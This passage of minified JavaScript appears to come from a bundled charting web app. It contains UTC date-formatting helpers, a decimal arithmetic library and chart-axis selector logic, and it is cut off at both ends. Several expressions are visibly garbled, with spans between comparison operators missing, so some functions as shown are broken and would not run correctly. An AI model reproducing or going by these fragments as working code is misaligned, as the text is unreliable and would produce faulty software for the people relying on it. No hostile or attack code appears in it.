KN(e,t){return ke(e.getUTCMilliseconds(),t,3)}function vI(e,t){return KN(e,t)+"000"}function gI(e,t){return ke(e.getUTCMonth()+1,t,2)}function yI(e,t){return ke(e.getUTCMinutes(),t,2)}function bI(e,t){return ke(e.getUTCSeconds(),t,2)}function wI(e){var t=e.getUTCDay();return t===0?7:t}function jI(e,t){return ke($d.count(Nr(e)-1,e),t,2)}function qN(e){var t=e.getUTCDay();return t>=4||t===0?Za(e):Za.ceil(e)}function kI(e,t){return e=qN(e),ke(Za.count(Nr(e),e)+(Nr(e).getUTCDay()===4),t,2)}function NI(e){return e.getUTCDay()}function SI(e,t){return ke(bu.count(Nr(e)-1,e),t,2)}function zI(e,t){return ke(e.getUTCFullYear()%100,t,2)}function CI(e,t){return e=qN(e),ke(e.getUTCFullYear()%100,t,2)}function PI(e,t){return ke(e.getUTCFullYear()%1e4,t,4)}function EI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?Za(e):Za.ceil(e),ke(e.getUTCFullYear()%1e4,t,4)}function AI(){return"+0000"}function K1(){return"%"}function q1(e){return+e}function Y1(e){return Math.floor(+e/1e3)}var ca,YN,GN;_I({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function _I(e){return ca=_L(e),YN=ca.format,ca.parse,GN=ca.utcFormat,ca.utcParse,ca}function OI(e){return new Date(e)}function TI(e){return e instanceof Date?+e:+new Date(+e)}function c0(e,t,n,r,i,a,o,l,c,u){var d=Gx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>w8(e,a/r))},n.copy=function(){return JN(t).domain(e)},Or.apply(n,arguments)}function Fd(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Ot,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Wd=M([Tr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),r4=(e,t,n,r)=>r?Wd(e):Tr(e),RI=(e,t,n)=>n?Wd(e):Tr(e);function Sr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(je(t)&&je(n))return!0}return!1}function G1(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function i4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(je(n))i=n;else if(typeof n=="function")return;if(je(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(Sr(o))return o}}function $I(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Sr(r))return G1(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(fe(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&py.test(i)){var c=py.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(fe(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&my.test(a)){var d=my.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(Sr(m))return t==null?m:G1(m,t,n)}}}var ls=1e9,BI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},p0,Fe=!0,kn="[DecimalError] ",Fi=kn+"Invalid argument: ",f0=kn+"Exponent out of range: ",cs=Math.floor,Ei=Math.pow,FI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,Qt,pt=1e7,Ie=7,a4=9007199254740991,wu=cs(a4/Ie),ae={};ae.absoluteValue=ae.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ae.comparedTo=ae.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ae.decimalPlaces=ae.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*Ie;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ae.dividedBy=ae.div=function(e){return mr(this,new this.constructor(e))};ae.dividedToIntegerBy=ae.idiv=function(e){var t=this,n=t.constructor;return Ae(mr(t,new n(e),0,1),n.precision)};ae.equals=ae.eq=function(e){return!this.cmp(e)};ae.exponent=function(){return it(this)};ae.greaterThan=ae.gt=function(e){return this.cmp(e)>0};ae.greaterThanOrEqualTo=ae.gte=function(e){return this.cmp(e)>=0};ae.isInteger=ae.isint=function(){return this.e>this.d.length-2};ae.isNegative=ae.isneg=function(){return this.s<0};ae.isPositive=ae.ispos=function(){return this.s>0};ae.isZero=function(){return this.s===0};ae.lessThan=ae.lt=function(e){return this.cmp(e)<0};ae.lessThanOrEqualTo=ae.lte=function(e){return this.cmp(e)<1};ae.logarithm=ae.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(Qt))throw Error(kn+"NaN");if(n.s<1)throw Error(kn+(n.s?"NaN":"-Infinity"));return n.eq(Qt)?new r(0):(Fe=!1,t=mr(Do(n,a),Do(e,a),a),Fe=!0,Ae(t,i))};ae.minus=ae.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?l4(t,e):s4(t,(e.s=-e.s,e))};ae.modulo=ae.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(kn+"NaN");return n.s?(Fe=!1,t=mr(n,e,0,1).times(e),Fe=!0,n.minus(t)):Ae(new r(n),i)};ae.naturalExponential=ae.exp=function(){return o4(this)};ae.naturalLogarithm=ae.ln=function(){return Do(this)};ae.negated=ae.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ae.plus=ae.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?s4(t,e):l4(t,(e.s=-e.s,e))};ae.precision=ae.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Fi+e);if(t=it(i)+1,r=i.d.length-1,n=r*Ie+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ae.squareRoot=ae.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(kn+"NaN")}for(e=it(l),Fe=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=Xn(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=cs((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(mr(l,a,o+2)).times(.5),Xn(a.d).slice(0,o)===(t=Xn(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ae(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return Fe=!0,Ae(r,n)};ae.times=ae.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%pt|0,t=l/pt|0;a[i]=(a[i]+t)%pt|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,Fe?Ae(e,f.precision):e};ae.toDecimalPlaces=ae.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(tr(e,0,ls),t===void 0?t=r.rounding:tr(t,0,8),Ae(n,e+it(n)+1,t))};ae.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ta(r,!0):(tr(e,0,ls),t===void 0?t=i.rounding:tr(t,0,8),r=Ae(new i(r),e+1,t),n=ta(r,!0,e+1)),n};ae.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?ta(i):(tr(e,0,ls),t===void 0?t=a.rounding:tr(t,0,8),r=Ae(new a(i),e+it(i)+1,t),n=ta(r.abs(),!1,e+it(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ae.toInteger=ae.toint=function(){var e=this,t=e.constructor;return Ae(new t(e),it(e)+1,t.rounding)};ae.toNumber=function(){return+this};ae.toPower=ae.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(Qt);if(l=new c(l),!l.s){if(e.s<1)throw Error(kn+"Infinity");return l}if(l.eq(Qt))return l;if(r=c.precision,e.eq(Qt))return Ae(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=a4){for(i=new c(Qt),t=Math.ceil(r/Ie+4),Fe=!1;n%2&&(i=i.times(l),Z1(i.d,t)),n=cs(n/2),n!==0;)l=l.times(l),Z1(l.d,t);return Fe=!0,e.s<0?new c(Qt).div(i):Ae(i,r)}}else if(a<0)throw Error(kn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Fe=!1,i=e.times(Do(l,r+u)),Fe=!0,i=o4(i),i.s=a,i};ae.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=it(i),r=ta(i,n<=a.toExpNeg||n>=a.toExpPos)):(tr(e,1,ls),t===void 0?t=a.rounding:tr(t,0,8),i=Ae(new a(i),e,t),n=it(i),r=ta(i,e<=n||n<=a.toExpNeg,e)),r};ae.toSignificantDigits=ae.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(tr(e,1,ls),t===void 0?t=r.rounding:tr(t,0,8)),Ae(new r(n),e,t)};ae.toString=ae.valueOf=ae.val=ae.toJSON=ae[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=it(e),n=e.constructor;return ta(e,t<=n.toExpNeg||t>=n.toExpPos)};function s4(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Fe?Ae(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/Ie),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/pt|0,c[a]%=pt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Fe?Ae(t,f):t}function tr(e,t,n){if(e!==~~e||en)throw Error(Fi+e)}function Xn(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,O=r.constructor,_=r.s==i.s?1:-1,T=r.d,P=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(kn+"Division by zero");for(c=r.e-i.e,N=P.length,k=T.length,h=new O(_),x=h.d=[],u=0;P[u]==(T[u]||0);)++u;if(P[u]>(T[u]||0)&&--c,a==null?b=a=O.precision:o?b=a+(it(r)-it(i))+1:b=a,b<0)return new O(0);if(b=b/Ie+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),T=e(T,d),N=P.length,k=T.length),j=N,g=T.slice(0,N),y=g.length;y=pt/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*pt+(g[1]||0)),d=v/S|0,d>1?(d>=pt&&(d=pt-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(f0+it(e));if(!e.s)return new d(Qt);for(Fe=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ei(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(Qt),d.precision=l;;){if(i=Ae(i.times(e),l),n=n.times(++c),o=a.plus(mr(i,n,l)),Xn(o.d).slice(0,l)===Xn(a.d).slice(0,l)){for(;u--;)a=Ae(a.times(a),l);return d.precision=f,t==null?(Fe=!0,Ae(a,f)):a}a=o}}function it(e){for(var t=e.e*Ie,n=e.d[0];n>=10;n/=10)t++;return t}function op(e,t,n){if(t>e.LN10.sd())throw Fe=!0,n&&(e.precision=n),Error(kn+"LN10 precision limit exceeded");return Ae(new e(e.LN10),t)}function Wr(e){for(var t="";e--;)t+="0";return t}function Do(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(kn+(h.s?"NaN":"-Infinity"));if(h.eq(Qt))return new g(0);if(t==null?(Fe=!1,u=y):u=t,h.eq(10))return t==null&&(Fe=!0),op(g,u);if(u+=m,g.precision=u,n=Xn(x),r=n.charAt(0),a=it(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=Xn(h.d),r=n.charAt(0),f++;a=it(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=op(g,u+2,y).times(a+""),h=Do(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?(Fe=!0,Ae(h,y)):h;for(l=o=h=mr(h.minus(Qt),h.plus(Qt),u),d=Ae(h.times(h),u),i=3;;){if(o=Ae(o.times(d),u),c=l.plus(mr(o,new g(i),u)),Xn(c.d).slice(0,u)===Xn(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(op(g,u+2,y).times(a+""))),l=mr(l,new g(f),u),g.precision=y,t==null?(Fe=!0,Ae(l,y)):l;l=c,i+=2}}function X1(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=cs(n/Ie),e.d=[],r=(n+1)%Ie,n<0&&(r+=Ie),rwu||e.e<-wu))throw Error(f0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ae(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=Ie,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/Ie),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=Ie,i=r-Ie+o}if(n!==void 0&&(a=Ei(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ei(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=it(e),f.length=1,t=t-a-1,f[0]=Ei(10,(Ie-t%Ie)%Ie),e.e=cs(-t/Ie)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=Ei(10,Ie-r),f[d]=i>0?(u/Ei(10,o-i)%Ei(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==pt&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=pt)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if(Fe&&(e.e>wu||e.e<-wu))throw Error(f0+it(e));return e}function l4(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),Fe?Ae(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/Ie),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Wr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Wr(-i-1)+a,n&&(r=n-o)>0&&(a+=Wr(r))):i>=o?(a+=Wr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Wr(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Wr(r))),e.s<0?"-"+a:a}function Z1(e,t){if(e.length>t)return e.length=t,!0}function c4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Fi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return X1(o,a.toString())}else if(typeof a!="string")throw Error(Fi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,FI.test(a))X1(o,a);else throw Error(Fi+a)}if(i.prototype=ae,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=c4,i.config=i.set=WI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Fi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Fi+n+": "+r);return this}var p0=c4(BI);Qt=new p0(1);const ze=p0;function u4(e){var t;return e===0?t=1:t=Math.floor(new ze(e).abs().log(10).toNumber())+1,t}function d4(e,t,n){for(var r=new ze(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var f4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},p4=(e,t,n)=>{if(e.lte(0))return new ze(0);var r=u4(e.toNumber()),i=new ze(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new ze(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new ze(c.toNumber()):new ze(Math.ceil(c.toNumber()))},UI=(e,t,n)=>{var r=new ze(1),i=new ze(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new ze(10).pow(u4(e)-1),i=new ze(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new ze(Math.floor(e)))}else e===0?i=new ze(Math.floor((t-1)/2)):n||(i=new ze(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new ze(0),tickMin:new ze(0),tickMax:new ze(0)};var o=p4(new ze(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new ze(0):(l=new ze(t).add(n).div(2),l=l.sub(new ze(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new ze(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?m4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new ze(c).mul(o)),tickMax:l.add(new ze(u).mul(o))})},VI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=f4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return UI(l,i,a);var{step:d,tickMin:f,tickMax:m}=m4(l,c,o,a,0),h=d4(f,m.add(new ze(.1).mul(d)),d);return n>r?h.reverse():h},HI=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=f4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=p4(new ze(l).sub(o).div(c-1),a,0),d=[...d4(new ze(o),new ze(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},KI=e=>e.rootProps.barCategoryGap,nl=e=>e.rootProps.stackOffset,h4=e=>e.rootProps.reverseStackOrder,m0=e=>e.options.chartName,h0=e=>e.rootProps.syncId,x4=e=>e.rootProps.syncMethod,x0=e=>e.options.eventEmitter,qI=e=>e.rootProps.baseValue,Ut={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},ji={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Vn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},Ud=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function v4(e,t,n){if(n!=="auto")return n;if(e!=null)return ir(e,t)?"category":"number"}function Q1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ju(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},v0=M([ZI,Jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=v4(t,"angleAxis",J1.type))!==null&&n!==void 0?n:"category";return ju(ju({},J1),{},{type:r})}),QI=(e,t)=>e.polarAxis.radiusAxis[t],g0=M([QI,Jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=v4(t,"radiusAxis",eb.type))!==null&&n!==void 0?n:"category";return ju(ju({},eb),{},{type:r})}),Vd=e=>e.polarOptions,y0=M([Ar,_r,xt],xN),g4=M([Vd,y0],(e,t)=>{if(e!=null)return nn(e.innerRadius,t,0)}),y4=M([Vd,y0],(e,t)=>{if(e!=null)return nn(e.outerRadius,t,t*.8)}),JI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},b4=M([Vd],JI);M([v0,b4],Ud);var w4=M([y0,g4,y4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});M([g0,w4],Ud);var j4=M([_e,Vd,g4,y4,Ar,_r],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:nn(o,i,i/2),cy:nn(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Ye=(e,t)=>t,rl=(e,t,n)=>n;function b0(e){return e==null?void 0:e.id}function k4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=b0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Re(f,a,null)),x=Re(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function w0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Hd=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Kd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function e7(e,t){if(e.length===t.length){for(var n=0;n{var t=_e(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},us=e=>e.tooltip.settings.axisId;function t7(e){if(e in Vs)return Vs[e]();var t="scale".concat(Ko(e));if(t in Vs)return Vs[t]()}function tb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function nb(e,t,n){if(typeof e=="function")return tb(e.copy().domain(t).range(n));if(e!=null){var r=t7(e);if(r!=null)return r.domain(t).range(n),tb(r)}}var N4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Sr(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function rb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ku(e){for(var t=1;te.cartesianAxis.xAxis[t],Mr=(e,t)=>{var n=a7(e,t);return n??S4},z4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:rh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Go},s7=(e,t)=>e.cartesianAxis.yAxis[t],Lr=(e,t)=>{var n=s7(e,t);return n??z4},o7={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},j0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??o7},Qe=(e,t,n)=>{switch(t){case"xAxis":return Mr(e,n);case"yAxis":return Lr(e,n);case"zAxis":return j0(e,n);case"angleAxis":return v0(e,n);case"radiusAxis":return g0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},l7=(e,t,n)=>{switch(t){case"xAxis":return Mr(e,n);case"yAxis":return Lr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},ds=(e,t,n)=>{switch(t){case"xAxis":return Mr(e,n);case"yAxis":return Lr(e,n);case"angleAxis":return v0(e,n);case"radiusAxis":return g0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},C4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function k0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var P4=e=>e.graphicalItems.cartesianItems,c7=M([Ye,rl],k0),N0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),il=M([P4,Qe,c7],N0,{memoizeOptions:{resultEqualityCheck:Kd}}),E4=M([il],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(w0)),A4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),u7=M([il],A4),S0=e=>e.map(t=>t.data).filter(Boolean).flat(1),d7=M([il],S0,{memoizeOptions:{resultEqualityCheck:Kd}}),z0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},C0=M([d7,r4],z0),P0=(e,t,n)=>(t==null?void 